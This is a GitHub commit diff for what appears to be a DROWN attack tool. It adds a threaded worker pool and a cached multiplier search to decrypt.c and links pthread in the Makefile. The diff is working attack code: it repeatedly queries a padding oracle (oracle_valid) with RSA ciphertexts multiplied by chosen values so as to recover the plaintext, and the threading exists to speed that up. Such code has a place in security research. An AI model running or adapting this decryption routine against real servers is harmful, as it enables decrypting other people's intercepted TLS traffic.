Skip to content

Commit c2f528f

Browse files
committed
Threaded and cached search of multipliers
1 parent 5767f73 commit c2f528f

File tree

2 files changed

+176
-29
lines changed

2 files changed

+176
-29
lines changed

Makefile

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
CFLAGS=-I$(SSL_PREFIX)/include -O3
22
#CFLAGS=-I$(SSL_PREFIX)/include -g
3-
LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm
3+
LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm -lpthread
44
DECRYPT_OBJS=drown.o oracle.o trimmers.o decrypt.o utils.o
55
TRIMMABLE_OBJS=trimmable.o oracle.o trimmers.o decrypt.o utils.o
66

decrypt.c

+175-28
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
#include <openssl/bn.h>
22
#include <openssl/err.h>
33
#include <openssl/ssl.h>
4+
#include <pthread.h>
5+
#include <semaphore.h>
46
#include "decrypt.h"
57
#include "oracle.h"
68

@@ -64,19 +66,121 @@ int oracle_valid(drown_ctx *dctx, BIGNUM *c)
6466
}
6567

6668

67-
int mycheck(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss)
69+
#define NUM_THREADS 5
70+
71+
typedef struct item_t
72+
{
73+
BIGNUM *c;
74+
BIGNUM *mt;
75+
unsigned long s;
76+
int l;
77+
int finished;
78+
} item_t;
79+
80+
item_t item_new(BIGNUM *c, BIGNUM *mt, unsigned long s)
81+
{
82+
item_t item = {
83+
.c = BN_dup(c),
84+
.mt = BN_dup(mt),
85+
.s = s,
86+
.finished = 0
87+
};
88+
return item;
89+
}
90+
91+
void item_free(item_t item)
92+
{
93+
BN_free(item.c);
94+
BN_free(item.mt);
95+
}
96+
97+
typedef struct queue_t
98+
{
99+
sem_t cEmpty; // Number of empty slots
100+
sem_t cFull; // Number of full slots
101+
pthread_mutex_t mutex;
102+
struct item_t items[NUM_THREADS];
103+
int cnt;
104+
drown_ctx *dctx;
105+
struct item_t result;
106+
int finished;
107+
108+
} queue_t;
109+
110+
int insert_item(queue_t *queue, item_t item)
111+
{
112+
pthread_mutex_lock(&queue->mutex);
113+
if(queue->cnt >= NUM_THREADS)
114+
{
115+
fprintf(stderr, "Insert problem !\n");
116+
exit(1);
117+
}
118+
queue->items[queue->cnt] = item;
119+
queue->cnt++;
120+
pthread_mutex_unlock(&queue->mutex);
121+
return 0;
122+
}
123+
124+
int remove_item(queue_t *queue, item_t *item)
125+
{
126+
pthread_mutex_lock(&queue->mutex);
127+
if(queue->cnt <= 0)
128+
{
129+
fprintf(stderr, "Remove problem !\n");
130+
exit(1);
131+
}
132+
*item = queue->items[queue->cnt - 1];
133+
queue->cnt--;
134+
pthread_mutex_unlock(&queue->mutex);
135+
return 0;
136+
}
137+
138+
void * worker(void *data)
139+
{
140+
queue_t *queue = (queue_t *)data;
141+
142+
item_t item;
143+
144+
while(1)
145+
{
146+
// Wait for work
147+
sem_wait(&queue->cFull);
148+
remove_item(queue, &item);
149+
150+
// Time to die
151+
if(item.finished)
152+
break;
153+
154+
// Do the actual work
155+
int l = oracle_valid(queue->dctx, item.c);
156+
157+
if(l)
158+
{
159+
// If we have a result, save it
160+
item.l = l;
161+
pthread_mutex_lock(&queue->mutex);
162+
queue->finished = 1;
163+
queue->result = item;
164+
pthread_mutex_unlock(&queue->mutex);
165+
}
166+
else
167+
item_free(item);
168+
169+
sem_post(&queue->cEmpty);
170+
};
171+
172+
return NULL;
173+
}
174+
175+
int check_multiplier(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss, BIGNUM *upperbits, queue_t *queue)
68176
{
69177
BIGNUM *c = dctx->c;
70178
BIGNUM *n = dctx->n;
71179
BIGNUM *e = dctx->e;
72180
BIGNUM *mt = dctx->mt;
73-
74181
BN_CTX *ctx = dctx->ctx;
75-
BN_CTX_start(ctx);
76-
77-
BIGNUM * upperbits = BN_CTX_get(ctx);
78-
int res = 0;
79182

183+
// Check 2 * B <= mt < 3 * B
80184
BN_rshift(upperbits, mt, 2032);
81185
if(BN_is_word(upperbits, 0x0002))
82186
{
@@ -85,28 +189,23 @@ int mycheck(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss)
85189
BN_mod_exp(c, ss, e, n, ctx);
86190
BN_mod_mul(c, cl_1e, c, n, ctx);
87191

88-
*l = oracle_valid(dctx, c);
89-
//printf("Valid %d\n", *l);
90-
res = 1;
91-
}
192+
// THREAD : add to queue
193+
item_t item = item_new(c, mt, s);
194+
sem_wait(&queue->cEmpty);
195+
insert_item(queue, item);
196+
sem_post(&queue->cFull);
92197

93-
BN_CTX_end(ctx);
198+
return 1;
199+
}
94200

95-
return res;
201+
return 0;
96202
}
97203

98-
99204
#define MAX_CACHE_SIZE 5
100205

101206
/*
102207
Finds a multiplier s, so that c_2 = c_1 * (s * l_1) ** e is valid.
103208
104-
for each s
105-
c_2 = c_1 * (s * l_1) ** e
106-
if oracle(c_2)
107-
return s
108-
end
109-
110209
for each s
111210
mt_2 = mt_1 * s * l_1
112211
if 2*B <= mt_2 < 3*B
@@ -118,7 +217,13 @@ int mycheck(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss)
118217
119218
Updates c, s, mt, l, ?
120219
*/
121-
int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
220+
/*
221+
Threaded search ?
222+
We spawn X threads.
223+
Each thread waits for an input to be given. It then computes.
224+
When all the threads are occupied, the master waits for one to complete.
225+
*/
226+
int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss, queue_t *queue)
122227
{
123228
BIGNUM *c = dctx->c;
124229
BIGNUM *n = dctx->n;
@@ -129,7 +234,8 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
129234
BN_CTX_start(ctx);
130235
BIGNUM *inc = BN_CTX_get(ctx);
131236
BIGNUM *cl_1e = BN_CTX_get(ctx);
132-
BIGNUM * mttmp = BN_CTX_get(ctx);
237+
BIGNUM *mttmp = BN_CTX_get(ctx);
238+
BIGNUM *upperbits = BN_CTX_get(ctx);
133239

134240
// Precompute c * (l_1 ** e)
135241
BN_mod_exp(cl_1e, l_1, e, n, ctx);
@@ -150,16 +256,17 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
150256
unsigned long last_s;
151257
BIGNUM *last_mt = BN_CTX_get(ctx);
152258

259+
queue->finished = 0;
153260

154261
// First, we try to find a multiplier s so that 2 * B <= s * mt * l_1 < 3 * B
155-
while(!mycheck(s, cl_1e, dctx, &l, ss))
262+
while(!check_multiplier(s, cl_1e, dctx, &l, ss, upperbits, queue))
156263
{
157264
BN_mod_add(mt, mt, inc, n, ctx);
158265
s++;
159266
}
160267

161268
// Loop while we don't have a result
162-
while(!l)
269+
while(!queue->finished)
163270
{
164271
// Remember the values of s and mt to compute delta_s and delta_mt
165272
last_s = s;
@@ -170,11 +277,12 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
170277
{
171278
BN_mod_add(mt, mt, inc, n, ctx);
172279
s++;
173-
} while(!mycheck(s, cl_1e, dctx, &l, ss));
280+
} while(!check_multiplier(s, cl_1e, dctx, &l, ss, upperbits, queue));
174281

175282
// If the cache is not full, add delta_s and delta_mt to the cache
176283
if(cache_size < MAX_CACHE_SIZE)
177284
{
285+
//printf("Cache add %ld\n", s - last_s);
178286
cache_s[cache_size] = s - last_s;
179287
cache_mt[cache_size] = BN_CTX_get(ctx);
180288
BN_mod_sub(cache_mt[cache_size], mt, last_mt, n, ctx);
@@ -185,14 +293,14 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
185293
// We use cached search until either :
186294
// * we find a result
187295
// * no cached values works
188-
while(res && !l)
296+
while(res && !queue->finished)
189297
{
190298
res = 0;
191299
BN_copy(mttmp, mt);
192300
for(int i = 0; i < cache_size; i++)
193301
{
194302
BN_mod_add(mt, mttmp, cache_mt[i], n, ctx);
195-
res = mycheck(s + cache_s[i], cl_1e, dctx, &l, ss);
303+
res = check_multiplier(s + cache_s[i], cl_1e, dctx, &l, ss, upperbits, queue);
196304
if(res)
197305
{
198306
s += cache_s[i];
@@ -204,7 +312,21 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
204312
}
205313
}
206314

207-
BN_set_word(ss, s);
315+
// Get the response
316+
pthread_mutex_lock(&queue->mutex);
317+
item_t result = queue->result;
318+
BN_set_word(ss, result.s);
319+
BN_copy(c, result.c);
320+
BN_copy(mt, result.mt);
321+
l = result.l;
322+
item_free(result);
323+
pthread_mutex_unlock(&queue->mutex);
324+
325+
// Wait for each worker to finish
326+
for(int i = 0; i < NUM_THREADS; i++)
327+
sem_wait(&queue->cEmpty);
328+
for(int i = 0; i < NUM_THREADS; i++)
329+
sem_post(&queue->cEmpty);
208330

209331
BN_CTX_end(ctx);
210332

@@ -245,6 +367,17 @@ void decrypt(drown_ctx *dctx)
245367
BN_set_bit(mt, 2033);
246368

247369

370+
// THREAD : create threads and queue
371+
pthread_t threads[NUM_THREADS];
372+
queue_t queue;
373+
sem_init(&queue.cFull, 0, 0);
374+
sem_init(&queue.cEmpty, 0, NUM_THREADS);
375+
pthread_mutex_init(&queue.mutex, NULL);
376+
queue.cnt = 0;
377+
queue.dctx = dctx;
378+
for(int t = 0; t < NUM_THREADS; t++)
379+
pthread_create(&threads[t], NULL, worker, &queue);
380+
248381

249382
// Repeat while we don't know all the bits
250383
while(u > l)
@@ -257,7 +390,7 @@ void decrypt(drown_ctx *dctx)
257390
BN_mod_inverse(l_1, l_1, n, ctx);
258391

259392
// Find a multiplier
260-
l = find_multiplier(dctx, l_1, ss);
393+
l = find_multiplier(dctx, l_1, ss, &queue);
261394

262395
// Remember our multiplier
263396
BN_mod_mul(S, S, ss, n, ctx);
@@ -286,6 +419,20 @@ void decrypt(drown_ctx *dctx)
286419

287420
}
288421

422+
// THREAD : end threads
423+
item_t item = {
424+
.finished = 1
425+
};
426+
for(int t = 0; t < NUM_THREADS; t++)
427+
{
428+
sem_wait(&queue.cEmpty);
429+
insert_item(&queue, item);
430+
sem_post(&queue.cFull);
431+
}
432+
for(int t = 0; t < NUM_THREADS; t++)
433+
pthread_join(threads[t], NULL);
434+
435+
289436
BN_CTX_end(ctx);
290437
}
291438

0 commit comments

Comments
 (0)